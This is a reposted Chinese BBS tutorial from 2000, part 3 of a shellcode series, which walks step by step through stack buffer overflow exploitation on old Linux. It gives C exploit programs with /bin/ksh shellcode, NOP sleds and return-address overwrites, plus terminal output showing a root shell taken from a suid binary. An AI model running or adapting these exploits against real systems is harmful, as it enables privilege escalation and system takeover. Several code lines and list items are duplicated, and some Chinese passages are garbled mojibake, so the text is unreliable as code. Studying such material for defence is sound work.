荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Lg (创造人生的传奇), 信区: Linux
标  题: shellcode技术探讨之(3)(fwd)
发信站: BBS 荔园晨风站 (Fri Jan 21 22:34:03 2000), 站内信件

【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: cloudsky (小四), 信区: Security
标  题: shellcode技术探讨之(3)(fwd)
发信站: 武汉白云黄鹤站 (Mon Jan 17 13:27:43 2000), 站内信件

标题:shellcode技术探讨之(3)

概述:

    本文给出一个完整的利用缓冲区溢出取得root shell的
    示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
    而我的意图正在于此。如果看不明白什么地方,可以在这里
    提问,mail to: <cloudsky@263.net>,或者到绿色兵团的
    Unix安全论坛上提问,tt在那里。水木清华97年以前就大范
    围高水平讨论过缓冲区溢出,你没赶上只能怪自己生不逢时。

测试:

    RedHat 6.0/Intel PII

目录:

    1.  先来看一次缓冲区溢出
    2.  研究这个溢出
    2.  研究这个溢出
    3.  修改代码加强理解
    4.  进一步修改代码
    5.  还想到什么
    6.  堆栈可执行
    7.  一个会被缓冲区溢出攻击的程序例子
    8.  利用缓冲区溢出取得shell
    9.  分析取得shell失败的原因
    10. 危险究竟在于什么
    11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
    12. 总结与思考

1. 先来看一次缓冲区溢出

vi shelltest.c

/* 这是原来的shellcode */
/*
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
*/
*/

/* 这是我们昨天自己得到的shellcode */
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128];

int main ()
{
    char   buffer[96];
    int    i;
    long * long_ptr = ( long * )large_string;

    for ( i = 0; i < 32; i++ )
    {
        /* 用buffer地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )buffer;
    }
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
    {
        large_string[ i ] = shellcode[ i ];
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

gcc -o shelltest shelltest.c
./shelltest
exit

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试图从
main()中返回时,就会转而执行shell。

scz注:原文有误,不是试图从strcpy()返回,而是试图从main()返回,必须
       区别这两种说法。

2. 研究这个溢出

在shellcode后面大量追加buffer指针,这是程序的关键所在,只有这样才能
使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
在程序中出现的128和96不是随便写的数字,这些4的整数倍的数字保证了
在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则前后一错位就
不是那么回事情了。

要理解程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buffer
的溢出只会朝栈底方向前进,并不会覆盖掉main()函数本身的代码,也是附和
操作系统代码段只读要求的。不要错误地怀疑main()函数结束处的ret语句会
被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer位于代码段中,
于是一路覆盖下来破坏了代码本身,昏倒。

3. 修改代码加强理解

我们先只做一个修改:

    for ( i = 0; i < 32; i++ )
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }

返回地址被覆盖成shellcode指针,同样达到了取得shell的效果。


4. 进一步修改代码

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128];

int main ()
{
    char   buffer[96];
    int    i;
    long * long_ptr = ( long * )large_string;

    for ( i = 0; i < 32; i++ )
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
    strcpy( buffer, large_string );
}

啊哈,还是达到了效果。完全没有必要把shellcode拷贝到buffer中来嘛,定义
buffer的唯一作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回地址
的效果。

5. 还想到什么

既然buffer本身一钱不值,为什么要定义那么大,缩小它!

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[12];  /* 修改 */

int main ()
{
    char   buffer[4];  /* 修改 */
    int    i;
    long * long_ptr = ( long * )large_string;
    long * long_ptr = ( long * )large_string;

    for ( i = 0; i < 3; i++ )  /* 修改 */
    {
        /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
        *( long_ptr + i ) = ( int )shellcode;
    }
    /* 这个语句导致main()的返回地址被修改指向buffer */
    strcpy( buffer, large_string );
}

打住,再修改就失去研究的意义了。

6. 堆栈可执行

在这里我们需要解释一个概念,什么叫堆栈可执行。
按照上述第1条目中给出的代码,实际上shellcode进入了堆区甚至栈区,
最终被执行的是堆栈中的数据,所谓堆栈可执行,大概是说允许堆栈中
的数据被作为指令执行。之所以用大概这个词,因为我自己对保护模式
汇编语言不熟悉,不了解具体细节,请熟悉的兄弟再指点。许多操作系
统可以设置系统参数禁止把堆栈中的数据作为指令执行,比如solaris
中可以在/etc/system中设置:


* Foil certain classes of bug exploits
set noexec_user_stack = 1

* Log attempted exploits
set noexec_user_stack_log = 1

Linux下如何禁止堆栈可执行我也没仔细看过相关文档,谁知道谁就说
一声吧。

按照上述第3条目及其以后各条目给出的代码,实际上执行了位于数据段
.data中的shellcode。我不知道做了禁止堆栈可执行设置之后,能否阻止
数据段可执行?谁了解保护模式汇编,给咱们讲讲。

即使这些都被禁止了,也可以在代码段中嵌入shellcode,代码段中的
shellcode是一定会被执行的。

可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函数,而
不是有源代码供你修改的自己的函数。在这个前提下,我们最可能利用的
就是第一种方式了,明白?

7. 一个会被缓冲区溢出攻击的程序例子


我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前面修改的
是我们自己的main()函数返回地址,没有用。仔细想想,如果执行一个suid了
的程序,该程序的main()函数实现中有下述代码:

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
    char buffer[ 16 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

[scz@ /home/scz/src]> ./overflow 0123456789abcdefghi
0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghij
0123456789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijk
0123456789abcdefghijk
BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion `((reloc->r_inf)
 & 0xff) == 7' failed!
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijkl
0123456789abcdefghijkl
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb overflow
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"..
(gdb) target core core < -- -- -- 调入core文件
Core was generated by `./overflow 0123456789abcdefghijkl'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at address 06
a69686f.
) at ../sysdeps/generic/dl-cache.c:202
../sysdeps/generic/dl-cache.c:202: No such file or directory.
../sysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach < -- -- -- 卸掉core文件
No core file now.
(gdb)

8. 利用缓冲区溢出取得shell

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()
{
    __asm__
    ("
        movl %esp, %eax
    ");
}

int main ( int argc, char * argv[] )
{


    char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
        "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

    char *          buffer   = 0;
    unsigned long * pAddress = 0;
    char *          pChar    = 0;
    int             i;
    int             offset   = DEFAULT_OFFSET;

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    }
    pChar = buffer;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) );
    /* stick asm code into the buffer */
    /* stick asm code into the buffer */
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    pAddress = ( unsigned long * )pChar;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_esp() + offset;
    }
    pChar  = ( char * )pAddress;
    *pChar = 0;
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
    return 0;
}

程序中get_esp()函数的作用就是定位堆栈位置。首先分配一块内存buffer,然后在buffer?
前面部分
填满NOP,后面部分放shellcode。最后部分是希望程序返回的地址,由栈顶指针加偏移得怠
5币詁uffer
为参数调用overflow时,将造成overflow程序的缓冲区溢出,其缓冲区被buffer覆盖,而坊
氐刂方赶?
NOP指令。
NOP指令。

[scz@ /home/scz/src]> gcc -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex
... ...
.../bin/ksh...
... ...
Segmentation fault (core dumped)
[scz@ /home/scz/src]>

失败,虽然发生了溢出,却没有取得可以使用的shell。

9. 分析取得shell失败的原因

条目7中给出的源代码表明overflow.c只提供了16个字节的缓冲区,
按照我们前面讨论的溢出技术,overflow_ex导致overflow的main()函数的返回地址被0x90?
盖,
没有足够空间存放shellcode。

让我们对overflow.c做一点小小的调整以迁就overflow_ex.c的成功运行:

old:    char buffer[ 16 ] = "";
new:    char buffer[ 256 ] = "";
new:    char buffer[ 256 ] = "";

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
$ exit < -- -- -- 取得了shell
[scz@ /home/scz/src]>

10. 危险究竟在于什么

假设曾经发生过这样的操作:

[root@ /home/scz/src]> chown root.root overflow
[root@ /home/scz/src]> chmod +s overflow
[root@ /home/scz/src]> ls -l overflow
-rwsr-sr-x   1 root     root overflow
[root@ /home/scz/src]>

好了,麻烦就是这样开始的:

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
# id < -- -- -- 你得到了root shell,看看你是谁吧
uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
                            ~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
# exit
[scz@ /home/scz/src]> id
uid=500(scz) gid=100(users) groups=100(users)
[scz@ /home/scz/src]>

至此你应该明白如何书写自己的shellcode,如何辨别一个shellcode是否
真正是在提供shell而不是木马,什么是缓冲区溢出,究竟如何利用缓冲区
溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/sgid程序的危险
性等等。于是你也明白了,为什么某些exploit出来之后如果没有补丁,
一般都建议你先chmod -s,没有什么奇怪,虽然取得shell,但不是
root shell而已。

11. 待溢出缓冲区不足以容纳shellcode时该如何溢出

vi overflow.c

/* gcc -o overflow overflow.c */
/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
    char buffer[ 9 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

---------------------------------------

vi overflow_ex.c

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256
#define BUFFER_SIZE    256

/* 取栈基指针 */
unsigned long get_ebp ()
{
    __asm__
    ("
        movl %ebp, %eax
    ");
}

int main ( int argc, char * argv[] )
{

    char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
        "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

    char *          buffer   = 0;
    unsigned long * pAddress = 0;
    char *          pChar    = 0;
    int             i;
    int             i;

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    }
    pAddress = ( unsigned long * )buffer;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_ebp() + BUFFER_SIZE;
    }
    pChar = buffer + BUFFER_SIZE;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) );
    /* stick asm code into the buffer */
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    *pChar = 0;
    *pChar = 0;
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
    return 0;
}

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- 返回地址的汉字显示
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh... < -- -- -- shellcode的汉字显示
$ exit < -- -- -- 溢出成功,取得shell
[scz@ /home/scz/src]>

12. 总结与思考

    上面这些例子本身很简单,完全不同于那些极端复杂的溢出例子。但无论多么
    复杂,其基本原理是一样的。要完成取得root shell的缓冲区攻击:

    a. 有一个可以发生溢出的可执行程序,各种Mail List会不断报告新发现的可供
       攻击的程序;自己也可以通过某些低级调试手段获知程序中是否存在容易发生
       溢出的函数调用,这些调试手段不属于今天讲解范畴,以后再提。
    b. 该程序是root的suid程序,用ls -l确认。
    c. 普通用户有适当的权限运行该程序。
    d. 编写合理的溢出攻击程序,shellcode可以从以前成功使用过的例子中提取。
    d. 编写合理的溢出攻击程序,shellcode可以从以前成功使用过的例子中提取。
    e. 要合理调整溢出程序,寻找(或者说探测)main()函数的返回地址存放点,找到
       它并用自己的shellcode地址覆盖它;这可能需要很大的耐心和毅力。

    从这些简单的示例中看出,为了得到一个可成功运行的exploit,攻击者们付出过太
    多心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总结、大家群策
    群力的结果,如果认为了解几个现成的bug就可以如何如何,那是种悲哀。

后记:

    颠峰时刻的水木清华的确不是其他站点可以大范围超越的,尽管在某些个别版面上
    存在着分庭抗礼。如果你想了解系统安全,应该从水木清华 Hacker 版98.6以前的
    所有精华区打包文件开始,那些旧日的讨论和技术文章在现在看来也值得初学者仔
    细研读。

    文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术,或者退一步,了解过这
    种技术,对于狂热爱好计算机技术的你来说,不是什么坏事。也许在讨论它们的时候,
    某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给你带来过不愉快
    的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<<这个杀手不
    太冷>>没有,no children、no women,我想说的不是这个,但你应该明白我想说什么?

    Good luck for you.
--
后记:
            我问飘逝的风:来迟了?
            风感慨:是的,他们已经宣战。
            我问苏醒的大地:还有希望么?
            大地揉了揉眼睛:还有,还有无数代的少年。
            我问长空中的英魂:你们相信?
            英魂带着笑意离去:相信,希望还在。

※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.28]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 210.39.3.97]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店